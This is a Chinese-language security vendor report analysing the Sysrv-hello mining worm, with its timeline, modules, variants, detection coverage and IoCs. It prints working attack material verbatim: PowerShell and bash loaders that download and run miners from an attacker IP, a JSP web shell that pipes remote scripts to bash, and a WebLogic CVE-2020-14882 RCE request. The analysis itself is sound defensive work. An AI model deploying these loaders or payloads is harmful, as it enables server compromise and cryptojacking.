Sysrv-hello 新型挖矿现身,阿里云 0 号恶意样本一手分析报告独家发布

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全基线管理CSPM免费试用,1000次1年
云安全中心漏洞修复资源包免费试用,100次1年
简介: 阿里云安全中心默认检出,精准防御。

shutterstock_248596777.jpg

Sysrv-hello挖矿样本初现

 事件背景

阿里云云安全中心,针对云上海量样本进行持续监控,对奇异样本进行自动捕获标定和分析。本月初,发现一例具有持久化功能的样本,具有与此前已知程序文件的差异特性,经过分析,属于一款新型挖矿支持组件,且处在爆发初期。鉴于该样本的特征路径以及特征代码,暂时将其命名为Sysrv-hello。

 Sysrv-hello样本特性

· 该样本服务于挖矿行动,兼具蠕虫、爆破、木马、后门等多种特性,漏洞利用与爆破方式、功能集成性不同于以往已知样本;

· 经过对该样本的特征分析与关联样本检索,发现该样本非孤立样本,而是一个本月新出现投放,并在早期积极迭代变换的挖矿活动;

· 借助Golang,该家族跨越Linux与Windows平台,通过陆续集成的多种最新漏洞与应用的攻击方式,具备很强传播性。

 时间线

· 12月3日:13时15分
最早发现的0号Linux样本(md5=ead2cf8ab7aef63706b40eb57d668d0a)在云上首次出现,影响大量用户机器,影响面较大;
· 12月6日
捕获到该家族第1号变种族于9:30开始投放,面向Linux免杀,且投放量非常克制,当日共捕获到4例样本,每个样本仅传播到1-2台主机
· 12月7日
该样本在VirusTotal上首次由外部上传;
· 12月15日
发现该样本2号Linux变种家族的第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播;
· 12月16日:23点
首次发现该样本的3号变种族,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系;
· 12月22日:14时30分
截至14:30,VirusTotal全部62款商业杀毒引擎均未报毒。

 修复建议

Sysrv-hello目前还处在扩散初期,尽管有快速迭代、不断集成最新的攻击方式,但传播面还不够大,初期的检测防御对于恶意行为防御更有意义。

当前对于该家族的核心样本Sysrv主程序,以及投递的挖矿程序,阿里云云安全中心均已默认可检出,所有云主机用户可关注是否存在病毒检测告警,并及时关注应用环境是否存在漏洞未修复、弱密码等问题。

对购买云安全中心的用户,当前各种检测模型已可多维度检测关联入侵行为,给出实时告警;同时全部病毒样本以及后续变种均已支持文件精准防御以及行为防御。



以下是对该恶意样本的一手分析报告:

0号样本分析

 静态逆向

该样本为Linux 64位程序,使用Golang开发并用UPX 3.94加壳,未做额外混淆,脱壳前后大小为4,634,788B/8,687,768B,本地编译路径为 :/media/psf/AllFiles/Users/mac/go/src/hello/src。样本并未完全去除文件路径等元信息。

根据子目录,样本主要有如下五部分功能组件:

【 Scan 模块 】

image.png

扫描器组件是该样本从main.main入口执行的最外层功能,由此再下一步调用其它功能。

image.png

【 Gateway 模块 】

image.png

Gateway模块由SYN扫描器调用,提供Linux网关探测能力。

【 Nu 模块 】

image.png

Nu模块为其它功能模块提供基础功能实现(network utility),包括最基础的字符串操作、端口探测、日志等;同时封装了shell命令执行功能。

【 Exp 模块 】

image.png

Exp模块包含多个漏洞利用做横向移动的能力,在进行端口扫描之后执行。在该样本中,会尝试对Mysql、Tomcat、WebLogic的应用主机探测触发RCE漏洞。

【 Work 模块 】

image.png

Work为直接控制挖矿的代码模块,持久化判断挖矿任务存活,释放并解压缩程序中内嵌的xmrig挖矿程序本体gzip包:

image.png

 行为分析

初始化和准备阶段,样本运行时首先会监听本地的,52013端口,此端口作为互斥量,防止自身重复启动。

image.png

然后初始化端口扫描模块,包括逆向可见的syn,tcp两种扫描方式:

image.png

然后将当前的扫描方式写入文件./flag.txt中。

image.png

第二步,释放xmrig挖矿模块,并启动,释放的完整路径是 /tmp/network01

image.png

启动参数是:

./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.

矿池地址是:

49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux

第三步,随机生成ip地址,进行端口扫描:

image.png

会扫描包括Mysql、Tomcat、WebLogic服务,并自动进行漏洞利用和爆破。具体漏洞利用和爆破细节见下文。

第四步,如果获取到目标系统的shell,会首先从 http://185.239.242.71/ 下载脚本和xmr挖矿程序:

image.png

脚本 http://185.239.242.71/ldr.ps1 的内容如下:

> $cc = "http://185.239.242.71"  
>   
> $is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64)  
>   
> $xmr = "$cc/xmr32.exe"  
>      
> if ($is64) {  
>   
>     $xmr = "$cc/xmr64.exe"  
>   
> }  
  
> (New-Object Net.WebClient).DownloadFile($xmr, "$env:TMP\network01.exe")  
>   
> if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {  
>   
>     Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden  
>   
> }  
> (New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMP\sysrv.exe")  
>   
> Start-Process "$env:TMP\sysrv.exe"  -windowstyle hidden  

脚本 http://185.239.242.71/ldr.sh的内容如下:

> **#!/bin/bash**
>      
> cc='http://185.239.242.71'  
>    
> get() {   
>     curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"  
>     chmod +x "$2"  
> }  
> cd /tmp || cd /var/run || cd /mnt || cd /root || cd /  
>    
> **# kill hich cpu usage proc**  
>   
> ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do  
>   
>     cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"  
>   
>     if [ $? -ne 0 ]; then  
>         kill -9 $pid  
>     fi  
> done  
>   
> ps -fe | grep network01 | grep -v grep  
>   
> if [ $? -ne 0 ]; then  
>   
>     echo "no miner runing"  
>   
>     if [ $(getconf LONG_BIT) = '64' ]; then  
>   
>         echo "downloading xmr64..."  
>   
>         get "$cc/xmr64" network01  
>   
>     else  
>   
>         echo "downloading xmr32..."  
>   
>         get "$cc/xmr32" network01  
>   
>     fi  
>   
>     nohup ./network01 1>/dev/null 2>&1 &  
>   
> fi  
>   
> ps -fe | grep sysrv | grep -v grep  
>   
> if [ $? -ne 0 ]; then  
>   
>     echo "no sysrv runing"  
>   
>     get "$cc/sysrv" sysrv  
>   
>     nohup ./sysrv 1>/dev/null 2>&1 &  
>   
> fi  

同时,自带有一个弱口令字典,会自动进行爆破

image.png

 目标服务漏洞利用与爆破方式

【 Mysql 】

通过弱口令登录成功之后,先首先判断系统版本以及平台,最后尝试写入32位或者64位的udf来进行任意命令执行。

image.png
image.png

【 Tomcat 】

尝试爆破Tomcat的管理页面的用户名和密码:

image.png

如果爆破成功,就尝试向服务器上上传war包进行项目部署来getshell。

image.png

war包本质上是一个压缩包,压缩包的内容为:

image.png

解压出来有一个1.jsp文件,内容如下:

<%@ page import="java.io.*" %>

<%

try {

String w = request.getParameter("win");  

String l = request.getParameter("linux");  

String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};  

String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};  

if (System.getProperty("os.name").toLowerCase().contains("win")) {  

    Runtime.getRuntime().exec(cw);  

} else {  

    Runtime.getRuntime().exec(cl);  

}  

} catch (IOException e) {}

// remove self

File f = new File(request.getSession().getServletContext().getRealPath("/"));

new File(f.getParent() + File.separator + f.getName() + ".war").delete();

out.print("1");

%>

【 WebLogic 】

利用cve-2020-14882漏洞进行getshell,发送的payload如下:

image.png

GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')

一个payload兼容Linux和Windows操作系统。

家族演进跟踪

在发现该家族之后,我们基于云上全量样本的相似度检索,发现了前述0号样本的关联相似样本,证明此次并非一个试水的投放或已知样本的技术演进。根据样本技术特性,可以将该样本的发展标注到4个主要节点,证明该挖矿家族的发展是其初期快速扩张和迭代的阶段。

 0号样本

这就是前文分析的样本。最早在12月3日在云上发现。

约相同时间,云上捕获了该样本的Windows版本,md5=030231d96234f06ae09ca18d621241e5。

该样本与Linux样本基本同源,仅适配Windows有若干必要的调整,包括:去除挖矿程序的释放控制功能(仅限Linux版本);扫描器与payload的载入方式等。

 1号变种族

此类样本观察到最初于6日9:30开始投放,仅在6-7日进行投放,且投放量非常克制,当前已捕获到共4例样本,每个样本仅传播到1-2台主机。

这阶段的免杀方式为,将原始Sysrv样本加壳后,作为数据嵌入在另外的loader程序中,释放后载入生效;嵌入的样本抠出脱壳后,md5=750644690e51db9f695b542b463164b9。

除此以外,样本本体并未发现明显差异。

image.png

因为此家族仅为0号样本在Linux平台的特殊免杀变种,因此在Windows平台的同源更新版本样本,与0号Windows样本没有显著差异。

 2号变种族

此类样本在15日发现投递,其中Linux家族第一个样本在16:15投递到少量主机试水,之后第二个样本在18点较大范围传播。此类Linux样本相比0号样本,去掉了内嵌压缩挖矿程序释放执行的逻辑,从而显著减小样本体积到2MB以内;同时对功能实现代码做了少量改写,包括Tomcat的爆破方式等。

该子家族的Windows版本与Linux保持一致;因为Linux版本完全去除了自带嵌入的挖矿程序的逻辑,Windows版本也同步去除了gzip解压缩的包引入(此前实际也并无作用,仅为同一套代码的引入),文件体积有所缩小。

 3号变种族

该变种族最早在16日23点首次发现,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系。

在蠕虫功能方面,从此类变种开始新增了对Jenkins的探测与定向爆破功能。除此以外,该类家族基本保持与2号的继承性,但每个样本均在功能实现的主要代码中,引入了少量局部的代码重构,从而降低关键代码的整体相似度,疑似用于规避样本模糊匹配的分析方法。

关联事件与告警

对此事件,阿里云云安全中心已经对攻击链路中的主要节点具备检测和防御能力。
对经由Mysql投递ldr脚本,当前可检测到进程的异常操作指令,精准防御可进行进程行为拦截:

image.png
image.png

对Tomcat进入的方式,检测到Java执行异常指令:

image.png

对于Sysrv程序的访问中控IP,具有实时检测能力:

image.png

对于Sysrv横向移动的动作,检测到对外发起登录扫描:

image.png

对Sysrv程序本体,按照后门程序/蠕虫病毒类别识别告警,在开启防御的主机可疑精准防御:

image.png

对于ldr恶意脚本,具有实时判黑告警:

image.png

对挖矿程序本体,始终具有检测能力,并在开启防御的主机上,直接进行精准防御:

image.png

对挖矿程序的矿池通信网络行为,具有对应的告警和关联信息佐证:

image.png

对Sysrv进程残留的持久化方式,具有定时扫描检测:

image.png

IoC

ead2cf8ab7aef63706b40eb57d668d0a

a45c5b97068a709c92aa2fb73cc39d29

bb15e4c273044a5e714acec991dde4b4

4736f80b88c60d2b650dd7273b437d0f

e7b1ee6578b88e1c2650982d35a0bbfc

e9317adace503cefa02007579eb1c621

ec773867cf1cc0479e57eae020f6f399

f4c90b41126fc17848bd0d131288bd36

58a05154e0a702843b8304ccfd79ba2f

7f9abe219ae8dd4e338bd2a9fcaf2e05

301a0a58dd98ecbbe12c6acbd0c7bbdc

030231d96234f06ae09ca18d621241e5

4b22a05d547d0345f91ba9f5fb1f012c

0af416fb7a7e164ddd90da14d116c07e

bbe3e53b19548d093c8405847828a64d

cae2b58fc73551901a70465fa46ea23c

d8816891b21d83c318818ebc32e9609d

642d73c85e6e79720a5ae7b82fc427c5

http://185[.]239[.]242[.]71/ldr.sh

http://185[.]239[.]242[.]71/ldr.ps1

http://185[.]239[.]242[.]71/sysrv.exe

http://185[.]239[.]242[.]71/sysrv

点击链接 https://www.aliyun.com/product/sas?spm=5176.19720258.J_80...0.173.54212c4aaqT6eQ
一键获取云安全中心精准防御

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
安全 Perl
威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。
13585 0
|
云安全 安全 双11
人机联合抵制双十一60亿次黑客的疯狂攻击
云是大规模体量下各种小概率事件常态化的一个复杂场,云上的攻防对抗是攻击者和防御者在这张复杂场上的博弈与演化。大规模的环境之中充斥着各种各样转瞬即逝的信息,对于威胁,没有什么是比「大规模」和「转瞬即逝」还更好的隐匿与庇护。
|
云安全 安全
威胁快报|Solr dataimport成挖矿团伙新型利用方式
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
1454 0
|
安全 数据安全/隐私保护
联储证券被曝存在多项信息安全漏洞
  5月21日,深圳证监局公布对联储证券有限责任公司采取出具警示函行政监管措施的决定 。深圳证监局表示,根据中国信息安全测评中心出具的信息系统渗透测试报告显示,联储证券存在多项信息安全漏洞。   据了解,中国信息安全测评中心自1998年创立,依据中央授权,测评中心主要开展信息安全漏洞分析与风险评估等,是中央批准成立的国家信息安全权威测评机构。
1952 0
|
云安全 安全 生物认证
金融安全资讯精选 2018年第九期:生物识别技术应用预测,广东网贷平台合规“排名”,JbossMiner 挖矿蠕虫分析
生物识别技术应用预测,广东网贷平台合规“排名”,JbossMiner 挖矿蠕虫分析
2534 0
|
云安全 安全 区块链
金融安全资讯精选 2018年第七期:JP摩根大通首次承认加密货币是“风险”,比特大陆利润或赶超英伟达,Mindlost勒索病毒技术分析,阿里云愿为医疗机构提供安全公益排查支持
JP摩根大通首次承认加密货币是“风险”,比特大陆利润或赶超英伟达,Mindlost勒索病毒技术分析,阿里云愿为医疗机构提供安全公益排查支持
2487 0
|
运维 安全 NoSQL
游戏安全资讯精选 2017年 第六期:Akamai报告称游戏是流量型攻击的主要受害者,英国二手游戏经销商CeX漏洞遭利用,MongoDB等数据服务被劫持勒索风险预警,网络安全上榜五大稀缺职业
Akamai报告称游戏是流量型攻击的主要受害者,英国二手游戏经销商CeX漏洞遭利用,MongoDB等数据服务被劫持勒索风险预警,网络安全上榜五大稀缺职业
2558 0